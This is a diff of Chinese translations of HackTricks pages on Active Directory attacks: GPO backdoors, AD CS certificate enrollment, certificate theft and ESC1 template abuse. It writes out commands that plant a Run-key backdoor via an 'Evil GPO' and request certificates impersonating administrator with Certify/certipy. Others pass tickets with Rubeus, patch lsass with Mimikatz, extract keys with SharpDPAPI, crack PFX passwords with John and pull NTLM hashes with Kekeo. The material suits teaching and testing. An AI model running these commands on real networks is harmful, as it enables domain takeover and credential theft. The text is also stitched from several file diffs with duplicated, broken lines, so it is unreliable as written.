GroupPolicy 模块(如果已安装)允许创建和链接新的 GPO并设置首选项例如注册表值以在受影响的计算机上执行后门。此方法要求更新 GPO并且用户必须登录计算机以执行
```powershell
GroupPolicy模块如果已安装允许创建和链接新的GPO并设置首选项例如注册表值以在受影响的计算机上执行后门。此方法要求更新GPO并且用户必须登录计算机以执行
```bash
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
```
@ -145,21 +145,21 @@ SharpGPOAbuse 提供了一种通过添加任务或修改设置来滥用现有 GP
```
### 强制策略更新
GPO 更新通常每 90 分钟发生一次。为了加快过程,特别是在实施更改后,可以在目标计算机上使用 `gpupdate /force` 命令强制立即更新策略。此命令确保对 GPO 的任何修改在下一个自动更新周期之前立即应用。
GPO 更新通常每 90 分钟发生一次。为了加快这个过程,特别是在实施更改后,可以在目标计算机上使用 `gpupdate /force` 命令强制立即更新策略。此命令确保对 GPO 的任何修改在下一个自动更新周期之前立即应用。
### 背后的机制
检查给定 GPO 的计划任务时,可以确认添加了诸如 `evilTask` 的任务。这些任务是通过脚本或命令行工具创建的,旨在修改系统行为或提升权限。
任务的结构,如 `New-GPOImmediateTask` 生成的 XML 配置文件所示,概述了计划任务的具体内容,包括要执行的命令及其触发器。该文件表示如何在 GPO 中定义和管理计划任务,为执行任意命令或脚本作为政策执行一部分提供了一种方法。
任务的结构,如 `New-GPOImmediateTask` 生成的 XML 配置文件所示,概述了计划任务的具体细节,包括要执行的命令及其触发器。该文件表示如何在 GPO 中定义和管理计划任务,提供了一种作政策执行一部分执行任意命令或脚本的方法。
### 用户和组
GPO 还允许在目标系统上操纵用户和组的成员资格。通过直接编辑用户和组政策文件,攻击者可以将用户添加到特权组,例如本地 `administrators` 组。这是通过委派 GPO 管理权限实现的,允许修改政策文件以包含新用户或更改组成员资格。
GPO 还允许在目标系统上操纵用户和组的成员资格。通过直接编辑用户和组政策文件,攻击者可以将用户添加到特权组,例如本地 `administrators` 组。这是通过委派 GPO 管理权限实现的,允许修改政策文件以包含新用户或更改组成员资格。
用户和组的 XML 配置文件概述了这些更改是如何实施的。通过向该文件添加条目,可以授予特定用户在受影响系统上的提升权限。这种方法提供了一种通过 GPO 操作直接提升权限的途径。
用户和组的 XML 配置文件概述了这些更改是如何实施的。通过向该文件添加条目,可以在受影响的系统上授予特定用户提升的权限。这种方法提供了一种通过 GPO 操作直接进行权限提升的途径。
此外,还可以考虑其他执行代码或维持持久性的方式,例如利用登录/注销脚本、修改注册表键以实现自动运行、通过 .msi 文件安装软件或编辑服务配置。这些技术提供了通过滥用 GPO 维持访问和控制目标系统的种途径。
此外,还可以考虑其他执行代码或维持持久性的方式,例如利用登录/注销脚本、修改注册表键以进行自动运行、通过 .msi 文件安装软件或编辑服务配置。这些技术提供了通过滥用 GPO 维持访问和控制目标系统的种途径。
## 参考文献

View File

@ -9,13 +9,13 @@
- 证书的 **主题** 表示其所有者。
- **公钥** 与私有密钥配对,将证书与其合法所有者关联。
- **有效期****NotBefore****NotAfter** 日期定义,标记证书的有效持续时间。
- 由证书颁发机构 (CA) 提供的唯一 **序列号** 识别每个证书。
- 由证书颁发机构 (CA) 提供的唯一 **序列号** 用于识别每个证书。
- **颁发者** 指的是颁发证书的 CA。
- **SubjectAlternativeName** 允许为主题提供额外名称,增强识别灵活性。
- **基本约束** 确定证书是用于 CA 还是最终实体,并定义使用限制。
- **扩展密钥使用 (EKUs)** 通过对象标识符 (OIDs) 划定证书的特定用途,如代码签名或电子邮件加密。
- **签名算法** 指定签署证书的方法。
- 使用颁发者的私钥创建的 **签名** 确保证书的真实性。
- **签名** 使用颁发者的私钥创建,保证证书的真实性。
### 特殊考虑
@ -23,16 +23,16 @@
### Active Directory (AD) 中的证书颁发机构 (CAs)
AD CS 通过指定的容器在 AD 林中承认 CA 证书,每个容器承担独特角色:
AD CS 通过指定的容器在 AD 林中承认 CA 证书,每个容器承担独特角色:
- **Certification Authorities** 容器保存受信任的根 CA 证书。
- **Enrolment Services** 容器详细说明企业 CA 及其证书模板。
- **NTAuthCertificates** 对象包括被授权用于 AD 身份验证的 CA 证书。
- **证书颁发机构** 容器保存受信任的根 CA 证书。
- **注册服务** 容器详细说明企业 CA 及其证书模板。
- **NTAuthCertificates** 对象包括被授权用于 AD 证的 CA 证书。
- **AIA (Authority Information Access)** 容器通过中间和交叉 CA 证书促进证书链验证。
### 证书获取:客户端证书请求流程
1. 请求过程从客户端找企业 CA 开始。
1. 请求过程从客户端找企业 CA 开始。
2. 在生成公私钥对后,创建包含公钥和其他详细信息的 CSR。
3. CA 根据可用证书模板评估 CSR基于模板的权限颁发证书。
4. 经批准后CA 使用其私钥签署证书并将其返回给客户端。
@ -43,7 +43,7 @@ AD CS 通过指定的容器在 AD 林中承认 CA 证书,每个容器承担独
## 证书注册
证书的注册过程由管理员 **创建证书模板**,然后由企业证书颁发机构 (CA) **发布**。这使得模板可用于客户端注册,这一步通过将模板名称添加到 Active Directory 对象的 `certificatetemplates` 字段来实现。
证书的注册过程由管理员 **创建证书模板** 开始,然后由企业证书颁发机构 (CA) **发布**。这使得模板可用于客户端注册,这一步通过将模板名称添加到 Active Directory 对象的 `certificatetemplates` 字段来实现。
为了让客户端请求证书,必须授予 **注册权限**。这些权限由证书模板和企业 CA 本身的安全描述符定义。必须在两个位置授予权限,才能成功请求。
@ -51,9 +51,9 @@ AD CS 通过指定的容器在 AD 林中承认 CA 证书,每个容器承担独
这些权限通过访问控制条目 (ACEs) 指定,详细说明权限,如:
- **Certificate-Enrollment** 和 **Certificate-AutoEnrollment** 权限,每个权限与特定的 GUID 相关联。
- **ExtendedRights**,允许所有扩展权限。
- **FullControl/GenericAll**,提供对模板的完全控制。
- **证书注册** 和 **证书自动注册** 权限,每个权限与特定的 GUID 相关联。
- **扩展权限**,允许所有扩展权限。
- **完全控制/通用所有**,提供对模板的完全控制。
### 企业 CA 注册权限
@ -77,7 +77,7 @@ CA 的权限在其安全描述符中列出,可以通过证书颁发机构管
5. **网络设备注册服务** (NDES) 用于网络设备,使用简单证书注册协议 (SCEP)。
Windows 用户还可以通过 GUI (`certmgr.msc``certlm.msc`) 或命令行工具 (`certreq.exe` 或 PowerShell 的 `Get-Certificate` 命令) 请求证书。
```powershell
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
@ -87,7 +87,7 @@ Active Directory (AD) 支持证书认证,主要利用 **Kerberos** 和 **安
### Kerberos 认证过程
在 Kerberos 认证过程中,用户请求的票证授予票证 (TGT) 使用用户证书的 **私钥** 进行签名。该请求经过域控制器的多个验证,包括证书的 **有效性**、**路径** 和 **撤销状态**。验证还包括确认证书来自受信任的来源,并确认发行者在 **NTAUTH 证书存储** 中的存在。成功的验证将导致 TGT 的发放。AD 中的 **`NTAuthCertificates`** 对象位于:
在 Kerberos 认证过程中,用户请求的票据授予票据 (TGT) 使用用户证书的 **私钥** 进行签名。该请求经过域控制器的多个验证,包括证书的 **有效性**、**路径** 和 **撤销状态**。验证还包括确认证书来自受信任的来源,并确认发行者在 **NTAUTH 证书存储** 中的存在。成功的验证将导致 TGT 的发放。AD 中的 **`NTAuthCertificates`** 对象位于:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
@ -95,11 +95,11 @@ CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<do
### 安全通道 (Schannel) 认证
Schannel 促进安全的 TLS/SSL 连接,在握手过程中,客户端提供一个证书,如果成功验证,则授权访问。将证书映射到 AD 账户可能涉及 Kerberos 的 **S4U2Self** 函数或证书的 **主题备用名称 (SAN)**,以及其他方法。
Schannel 促进安全的 TLS/SSL 连接,在握手过程中,客户端提供一个证书,如果成功验证,则授权访问。将证书映射到 AD 账户可能涉及 Kerberos 的 **S4U2Self** 函数或证书的 **主题备用名称 (SAN)**,以及其他方法。
### AD 证书服务枚举
可以通过 LDAP 查询枚举 AD 的证书服务,揭示有关 **企业证书颁发机构 (CAs)** 及其配置的信息。这对任何经过域认证的用户都是可访问的,无需特殊权限。工具如 **[Certify](https://github.com/GhostPack/Certify)** 和 **[Certipy](https://github.com/ly4k/Certipy)** 用于在 AD CS 环境中进行枚举和漏洞评估。
AD 的证书服务可以通过 LDAP 查询进行枚举,揭示有关 **企业证书颁发机构 (CAs)** 及其配置的信息。这对任何经过域认证的用户都是可访问的,无需特殊权限。工具如 **[Certify](https://github.com/GhostPack/Certify)** 和 **[Certipy](https://github.com/ly4k/Certipy)** 用于在 AD CS 环境中进行枚举和漏洞评估。
使用这些工具的命令包括:
```bash
@ -115,7 +115,7 @@ certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
certutil.exe -TCAInfo
certutil -v -dstemplate
```
## 参考文献
## 参考
- [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)
- [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html)

View File

@ -2,82 +2,82 @@
{{#include ../../../banners/hacktricks-training.md}}
## 介绍
## Introduction
### 证书的组成部分
### Components of a Certificate
- 证书的 **主题** 表示其所有者。
- **公钥** 与私有密钥配对,将证书与其合法所有者关联。
- **有效期** **NotBefore** **NotAfter** 日期定义,标记证书的有效持续时间。
- 由证书颁发机构 (CA) 提供的唯一 **序列号** 识别每个证书。
- **颁发者** 指的是颁发证书的 CA。
- **SubjectAlternativeName** 允许为主题提供额外名称,增强识别灵活性。
- **基本约束** 确定证书是用于 CA 还是最终实体,并定义使用限制。
- **扩展密钥使用 (EKUs)** 通过对象标识符 (OIDs) 划分证书的特定用途,如代码签名或电子邮件加密。
- **签名算法** 指定签署证书的方法。
- **签名** 使用颁发者的私钥创建,保证证书的真实性。
- 证书的**主题**表示其所有者。
- **公钥**与私有密钥配对,将证书与其合法所有者关联。
- **有效期**由**NotBefore**和**NotAfter**日期定义,标记证书的有效持续时间。
- 由证书颁发机构CA提供的唯一**序列号**标识每个证书。
- **颁发者**指的是颁发证书的CA。
- **SubjectAlternativeName**允许为主题提供额外名称,增强识别灵活性。
- **基本约束**识别证书是用于CA还是终端实体,并定义使用限制。
- **扩展密钥使用EKUs**通过对象标识符OIDs划定证书的特定用途,如代码签名或电子邮件加密。
- **签名算法**指定签署证书的方法。
- 使用颁发者的私钥创建的**签名**保证证书的真实性。
### 特殊考虑
### Special Considerations
- **主题备用名称 (SANs)** 扩展证书的适用性到多个身份,对于具有多个域的服务器至关重要。安全的颁发流程对于避免攻击者操纵 SAN 规范而导致的冒充风险至关重要。
- **主题备用名称SANs**扩展证书的适用性到多个身份,对于具有多个域的服务器至关重要。安全的颁发流程对于避免攻击者操纵SAN规范进行冒充风险至关重要。
### Active Directory (AD) 中的证书颁发机构 (CAs)
### Certificate Authorities (CAs) in Active Directory (AD)
AD CS 通过指定的容器在 AD 林中承认 CA 证书,每个容器承担独特角色:
AD CS通过指定的容器在AD森林中承认CA证书,每个容器承担独特角色:
- **Certification Authorities** 容器保存受信任的根 CA 证书。
- **Enrolment Services** 容器详细说明企业 CA 及其证书模板。
- **NTAuthCertificates** 对象包括被授权用于 AD 认证的 CA 证书。
- **AIA (Authority Information Access)** 容器通过中间和交叉 CA 证书促进证书链验证。
- **Certification Authorities**容器保存受信任的根CA证书。
- **Enrolment Services**容器详细说明企业CA及其证书模板。
- **NTAuthCertificates**对象包括被授权用于AD身份验证的CA证书。
- **AIA (Authority Information Access)**容器通过中间和交叉CA证书促进证书链验证。
### 证书获取:客户端证书请求流程
### Certificate Acquisition: Client Certificate Request Flow
1. 请求过程从客户端查找企业 CA 开始
2. 在生成公私钥对后,创建包含公钥和其他详细信息的 CSR。
3. CA 根据可用证书模板评估 CSR基于模板的权限颁发证书。
4. 经批准后CA 使用其私钥签署证书并将其返回给客户端。
1. 请求过程始于客户端寻找企业CA
2. 在生成公私钥对后创建包含公钥和其他详细信息的CSR。
3. CA根据可用证书模板评估CSR并根据模板的权限颁发证书。
4. 经批准后CA使用其私钥签署证书并将其返回给客户端。
### 证书模板
### Certificate Templates
AD 中定义,这些模板概述了颁发证书的设置和权限,包括允许的 EKUs 和注册或修改权限,对于管理证书服务的访问至关重要。
在AD中定义这些模板概述了颁发证书的设置和权限包括允许的EKUs和注册或修改权利,对于管理证书服务的访问至关重要。
## 证书注册
## Certificate Enrollment
证书的注册过程由管理员 **创建证书模板**,然后由企业证书颁发机构 (CA) **发布**。这使得模板可用于客户端注册,通过将模板名称添加到 Active Directory 对象的 `certificatetemplates` 字段来实现。
证书的注册过程由管理员**创建证书模板**然后由企业证书颁发机构CA**发布**。这使得模板可用于客户端注册通过将模板名称添加到Active Directory对象的`certificatetemplates`字段来实现。
为了让客户端请求证书,必须授予 **注册权限**。这些权限由证书模板和企业 CA 本身的安全描述符定义。必须在两个位置授予权限,才能成功请求。
为了让客户端请求证书,必须授予**注册权限**。这些权限由证书模板和企业CA本身的安全描述符定义。必须在两个位置授予权限才能成功请求。
### 模板注册权限
### Template Enrollment Rights
这些权限通过访问控制条目 (ACEs) 指定,详细说明权限,如:
这些权限通过访问控制条目ACEs指定,详细说明权限,如:
- **Certificate-Enrollment****Certificate-AutoEnrollment** 权限,每个权限与特定 GUID 相关联。
- **ExtendedRights**,允许所有扩展权限。
- **FullControl/GenericAll**,提供对模板的完全控制。
- **证书注册**和**证书自动注册**权限每个权限与特定的GUID相关联。
- **扩展权限**,允许所有扩展权限。
- **完全控制/通用所有**,提供对模板的完全控制。
### 企业 CA 注册权限
### Enterprise CA Enrollment Rights
CA 的权限在其安全描述符中列出,可以通过证书颁发机构管理控制台访问。些设置甚至允许低权限用户远程访问,这可能是一个安全隐患。
CA的权限在其安全描述符中列出可以通过证书颁发机构管理控制台访问。些设置甚至允许低权限用户远程访问,这可能是一个安全隐患。
### 额外的颁发控制
### Additional Issuance Controls
某些控制可能适用,例如:
- **经理批准**:将请求置于待处理状态,直到证书经理批准。
- **注册代理和授权签名**:指定 CSR 上所需的签名数量和必要的应用程序策略 OIDs。
- **经理批准**:将请求置于待处理状态,直到证书经理批准。
- **注册代理和授权签名**指定CSR上所需的签名数量和必要的应用程序策略OIDs。
### 请求证书的方法
### Methods to Request Certificates
可以通过以下方式请求证书:
1. **Windows 客户端证书注册协议** (MS-WCCE),使用 DCOM 接口。
2. **ICertPassage 远程协议** (MS-ICPR),通过命名管道或 TCP/IP。
3. **证书注册 Web 界面**,安装了证书颁发机构 Web 注册角色。
4. **证书注册服务** (CES),与证书注册策略 (CEP) 服务结合使用。
5. **网络设备注册服务** (NDES) 用于网络设备,使用简单证书注册协议 (SCEP)
1. **Windows客户端证书注册协议**MS-WCCE使用DCOM接口。
2. **ICertPassage远程协议**MS-ICPR通过命名管道或TCP/IP。
3. **证书注册Web界面**安装了证书颁发机构Web注册角色。
4. **证书注册服务**CES与证书注册策略CEP服务结合使用。
5. **网络设备注册服务**NDES用于网络设备使用简单证书注册协议SCEP
Windows 用户还可以通过 GUI (`certmgr.msc``certlm.msc`) 或命令行工具 (`certreq.exe` 或 PowerShell 的 `Get-Certificate` 命令) 请求证书。
```powershell
Windows用户还可以通过GUI`certmgr.msc``certlm.msc`)或命令行工具(`certreq.exe`或PowerShell的`Get-Certificate`命令)请求证书。
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
@ -87,7 +87,7 @@ Active Directory (AD) 支持证书认证,主要利用 **Kerberos** 和 **安
### Kerberos 认证过程
在 Kerberos 认证过程中,用户请求票据授予票据 (TGT) 的请求使用用户证书的 **私钥** 进行签名。该请求经过域控制器的多个验证,包括证书的 **有效性**、**路径** 和 **销状态**。验证还包括确认证书来自受信任的来源,并确认发行者在 **NTAUTH 证书存储** 中的存在。成功的验证将导致 TGT 的发放。AD 中的 **`NTAuthCertificates`** 对象位于:
在 Kerberos 认证过程中,用户请求的票证授予票证 (TGT) 使用用户证书的 **私钥** 进行签名。该请求经过域控制器的多个验证,包括证书的 **有效性**、**路径** 和 **销状态**。验证还包括确认证书来自受信任的来源,并确认发行者在 **NTAUTH 证书存储** 中的存在。成功的验证将导致 TGT 的发放。AD 中的 **`NTAuthCertificates`** 对象位于:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
@ -95,11 +95,11 @@ CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<do
### 安全通道 (Schannel) 认证
Schannel 促进安全的 TLS/SSL 连接,在握手过程中,客户端提供一个证书,如果成功验证,则授权访问。将证书映射到 AD 账户可能涉及 Kerberos 的 **S4U2Self** 函数或证书的 **主题备用名称 (SAN)**,以及其他方法。
Schannel 促进安全的 TLS/SSL 连接,在握手过程中,客户端提供一个证书,如果成功验证,则授权访问。将证书映射到 AD 账户可能涉及 Kerberos 的 **S4U2Self** 函数或证书的 **主题备用名称 (SAN)**,以及其他方法。
### AD 证书服务枚举
AD 的证书服务可以通过 LDAP 查询进行枚举,揭示有关 **企业证书颁发机构 (CAs)** 及其配置的信息。这对任何经过域认证的用户都是可访问的,无需特殊权限。工具如 **[Certify](https://github.com/GhostPack/Certify)** 和 **[Certipy](https://github.com/ly4k/Certipy)** 被用于 AD CS 环境中的枚举和漏洞评估。
AD 的证书服务可以通过 LDAP 查询进行枚举,揭示有关 **企业证书授权机构 (CAs)** 及其配置的信息。这对任何经过域认证的用户都是可访问的,无需特殊权限。工具如 **[Certify](https://github.com/GhostPack/Certify)** 和 **[Certipy](https://github.com/ly4k/Certipy)** 被用于 AD CS 环境中的枚举和漏洞评估。
使用这些工具的命令包括:
```bash

View File

@ -2,12 +2,12 @@
{{#include ../../../banners/hacktricks-training.md}}
**这是来自[https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)的精彩研究中盗窃章节的小总结**
**这是[https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)的精彩研究中盗窃章节的小总结**
## 我可以用证书做什么
在检查如何盗取证书之前,这里有一些关于如何找到证书用途的信息:
```powershell
```bash
# Powershell
$CertPath = "C:\path\to\cert.pfx"
$CertPass = "P@ssw0rd"
@ -20,13 +20,13 @@ certutil.exe -dump -v cert.pfx
```
## 导出证书使用 Crypto APIs THEFT1
在 **交互式桌面会话**中,提取用户或机器证书及其私钥非常简单,特别是当 **私钥可导出**时。这可以通过`certmgr.msc` 中导航到证书,右键单击并选择 `所有任务 → 导出` 来生成一个受密码保护的 .pfx 文件。
在 **交互式桌面会话**中,提取用户或机器证书及其私钥非常简单,特别是当 **私钥可导出**时。这可以通过导航到 `certmgr.msc` 中的证书,右键单击并选择 `所有任务 → 导出` 来生成一个受密码保护的 .pfx 文件。
对于 **编程方法**,可以使用 PowerShell 的 `ExportPfxCertificate` cmdlet 或像 [TheWover 的 CertStealer C# 项目](https://github.com/TheWover/CertStealer) 这样的项目。这些工具利用 **Microsoft CryptoAPI** (CAPI) 或加密 API下一代 (CNG) 与证书存储进行交互。这些 API 提供了一系列加密服务,包括证书存储和身份验证所需的服务。
对于 **编程方法**,可以使用 PowerShell 的 `ExportPfxCertificate` cmdlet 或像 [TheWovers CertStealer C# project](https://github.com/TheWover/CertStealer) 这样的项目。这些工具利用 **Microsoft CryptoAPI** (CAPI) 或加密 API下一代 (CNG) 与证书存储进行交互。这些 API 提供了一系列加密服务,包括证书存储和身份验证所需的服务。
然而如果私钥被设置为不可导出CAPI 和 CNG 通常会阻止提取此类证书。为了绕过此限制,可以使用 **Mimikatz** 工具。Mimikatz 提供 `crypto::capi``crypto::cng` 命令来修补相应的 API从而允许导出私钥。具体而言`crypto::capi` 修补当前进程中的 CAPI`crypto::cng` 针对 **lsass.exe** 的内存进行修补。
然而如果私钥被设置为不可导出CAPI 和 CNG 通常会阻止提取此类证书。为了绕过此限制,可以使用 **Mimikatz** 工具。Mimikatz 提供 `crypto::capi``crypto::cng` 命令来修补相应的 API从而允许导出私钥。具体而言`crypto::capi` 修补当前进程中的 CAPI`crypto::cng` 针对 **lsass.exe** 的内存进行修补。
## 通过 DPAPI 盗取用户证书 THEFT2
## 通过 DPAPI 进行用户证书盗窃 THEFT2
有关 DPAPI 的更多信息,请参见:
@ -34,9 +34,9 @@ certutil.exe -dump -v cert.pfx
../../windows-local-privilege-escalation/dpapi-extracting-passwords.md
{{#endref}}
在 Windows 中,**证书私钥由 DPAPI 保护**。重要的是要认识到 **用户和机器私钥的存储位置**是不同的,文件结构根据操作系统使用的加密 API 而有所不同。**SharpDPAPI** 是一个可以在解密 DPAPI blobs 时自动导航这些差异的工具。
在 Windows 中,**证书私钥由 DPAPI 保护**。重要的是要认识到 **用户和机器私钥的存储位置**是不同的,文件结构因操作系统使用的加密 API 而异。**SharpDPAPI** 是一个可以在解密 DPAPI blobs 时自动导航这些差异的工具。
**用户证书**主要存放在注册表`HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`,但有些也可以在目录 `%APPDATA%\Microsoft\SystemCertificates\My\Certificates` 中找到。这些证书的相应 **私钥** 通常存储在 `%APPDATA%\Microsoft\Crypto\RSA\User SID\` 中用于 **CAPI** 密钥,而 `%APPDATA%\Microsoft\Crypto\Keys\` 中用于 **CNG** 密钥。
**用户证书**主要存放在注册表`HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`,但有些也可以在目录 `%APPDATA%\Microsoft\SystemCertificates\My\Certificates` 中找到。这些证书的相应 **私钥** 通常存储在 `%APPDATA%\Microsoft\Crypto\RSA\User SID\` 中用于 **CAPI** 密钥,而 `%APPDATA%\Microsoft\Crypto\Keys\` 中用于 **CNG** 密钥。
**提取证书及其相关私钥**,过程包括:
@ -60,7 +60,7 @@ SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt
# Converting .pem to .pfx
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
## 通过 DPAPI 进行机器证书盗窃 THEFT3
## 机器证书盗窃通过 DPAPI THEFT3
Windows 在注册表中存储的机器证书位于 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates`,相关的私钥位于 `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys`(用于 CAPI`%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys`(用于 CNG这些证书使用机器的 DPAPI 主密钥进行加密。这些密钥无法使用域的 DPAPI 备份密钥解密;相反,需要 **DPAPI_SYSTEM LSA 密钥**,只有 SYSTEM 用户可以访问。
@ -80,7 +80,7 @@ Windows 在注册表中存储的机器证书位于 `HKEY_LOCAL_MACHINE\SOFTWARE\
可以使用 PowerShell 或命令提示符通过查找上述扩展名来搜索这些文件。
如果找到一个受密码保护的 PKCS#12 证书文件,可以通过使用 `pfx2john.py` 提取哈希,该工具可在 [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html) 获取。随后,可以使用 JohnTheRipper 尝试破解密码。
```powershell
```bash
# Example command to search for certificate files in PowerShell
Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys
@ -90,18 +90,20 @@ pfx2john.py certificate.pfx > hash.txt
# Command to crack the hash with JohnTheRipper
john --wordlist=passwords.txt hash.txt
```
## NTLM 凭证盗窃通过 PKINIT THEFT5
## NTLM Credential Theft via PKINIT THEFT5 (UnPAC the hash)
给定内容解释了一种通过 PKINIT 进行 NTLM 凭证盗窃的方法,特别是通过标记为 THEFT5 的盗窃方法。以下是被动语态的重新解释,内容已匿名化并在适用时进行了总结:
给定内容解释了一种通过 PKINIT 进行 NTLM 凭证盗窃的方法,特别是通过标记为 THEFT5 的盗窃方法。以下是被动语态的重新解释,内容在适用的情况下进行了匿名化和总结:
为了支持不便于 Kerberos 认证的应用程序的 NTLM 认证 [MS-NLMP]KDC 被设计为在使用 PKCA 时返回用户的 NTLM 单向函数 (OWF),具体在 `PAC_CREDENTIAL_INFO` 缓冲区中。因此,如果一个账户通过 PKINIT 进行身份验证并获取票据授权票 (TGT),则本质上提供了一种机制,使当前主机能够从 TGT 中提取 NTLM 哈希,以支持遗留认证协议。此过程涉及对 `PAC_CREDENTIAL_DATA` 结构的解密,该结构本质上是 NTLM 明文的 NDR 序列化表示。
为了支持不便于 Kerberos 认证的应用程序的 NTLM 认证 `MS-NLMP`KDC 被设计为在使用 PKCA 时返回用户的 NTLM 单向函数 (OWF),具体在 `PAC_CREDENTIAL_INFO` 缓冲区中。因此,如果一个账户通过 PKINIT 进行身份验证并获取票证授权票 (TGT),则固有地提供了一种机制,使当前主机能够从 TGT 中提取 NTLM 哈希,以维持遗留认证协议。此过程涉及对 `PAC_CREDENTIAL_DATA` 结构的解密,该结构本质上是 NTLM 明文的 NDR 序列化表示。
实用工具 **Kekeo**,可在 [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo) 获取,被提及为能够请求包含此特定数据的 TGT从而便于检索用户的 NTLM。用于此目的的命令如下
```bash
tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local
```
此外值得注意的是Kekeo 可以处理智能卡保护的证书,只要可以检索到 PIN参考 [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe)。同样的功能也被 **Rubeus** 支持,地址为 [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
**`Rubeus`** 还可以通过选项 **`asktgt [...] /getcredentials`** 获取此信息
此解释概括了通过 PKINIT 进行 NTLM 凭据盗窃的过程和工具,重点是通过使用 PKINIT 获得的 TGT 检索 NTLM 哈希,以及促进此过程的实用程序。
此外值得注意的是Kekeo 可以处理受智能卡保护的证书,只要可以检索到 PIN参考 [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe)。同样的功能也被 **Rubeus** 支持,地址为 [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)。
此解释概括了通过 PKINIT 进行 NTLM 凭据盗窃的过程和工具,重点是通过使用 PKINIT 获取的 TGT 检索 NTLM 哈希,以及促进此过程的实用程序。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -18,13 +18,13 @@
- **不需要经理批准。**
- **不需要授权人员的签名。**
- **证书模板上的安全描述符过于宽松,允许低权限用户获得注册权。**
- **证书模板配置为定义促进身份验证的EKU**
- **证书模板配置为定义促进身份验证的EKU**
- 包含客户端身份验证OID 1.3.6.1.5.5.7.3.2、PKINIT客户端身份验证1.3.6.1.5.2.3.4、智能卡登录OID 1.3.6.1.4.1.311.20.2.2、任何目的OID 2.5.29.37.0或无EKUSubCA等扩展密钥使用EKU标识符。
- **模板允许请求者在证书签名请求CSR中包含subjectAltName**
- 如果存在Active DirectoryAD在证书中优先考虑subjectAltNameSAN进行身份验证。这意味着通过在CSR中指定SAN可以请求证书以冒充任何用户例如域管理员。请求者是否可以指定SAN在证书模板的AD对象中通过`mspki-certificate-name-flag`属性指示。该属性是一个位掩码,存在`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`标志允许请求者指定SAN。
- 如果存在Active DirectoryAD在证书中优先考虑subjectAltNameSAN进行身份验证。这意味着通过在CSR中指定SAN可以请求证书以冒充任何用户例如域管理员。请求者是否可以指定SAN在证书模板的AD对象中通过`mspki-certificate-name-flag`属性指示。该属性是一个位掩码,`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`标志的存在允许请求者指定SAN。
> [!CAUTION]
> 上述配置允许低权限用户请求具有任何选择的SAN的证书从而通过Kerberos或SChannel以任何域主体的身份进行身份验证。
> 上述配置允许低权限用户请求任何选择的SAN的证书从而通过Kerberos或SChannel以任何域主体的身份进行身份验证。
此功能有时被启用以支持产品或部署服务的HTTPS或主机证书的即时生成或由于缺乏理解。
@ -42,7 +42,7 @@ certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
```
然后您可以将生成的 **证书转换为 `.pfx`** 格式,并再次使用 **Rubeus 或 certipy** 进行身份验证:
然后您可以将生成的 **证书转换为 `.pfx`** 格式,并再次使用 **Rubeus 或 certipy** 进行 **身份验证**
```bash
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
@ -65,27 +65,27 @@ Windows二进制文件 "Certreq.exe" 和 "Certutil.exe" 可用于生成 PFX: htt
4. 证书模板上的安全描述符过于宽松,授予低权限用户证书注册权限。
5. **证书模板被定义为包含任何目的 EKU 或没有 EKU。**
**任何目的 EKU** 允许攻击者 **任何目的** 获取证书,包括客户端身份验证、服务器身份验证、代码签名等。可以使用与 **ESC3** 相同的 **技术** 来利用此场景。
**任何目的 EKU** 允许攻击者 **任何目的** 获取证书,包括客户端身份验证、服务器身份验证、代码签名等。可以使用与 **ESC3** 相同的 **技术** 来利用此场景。
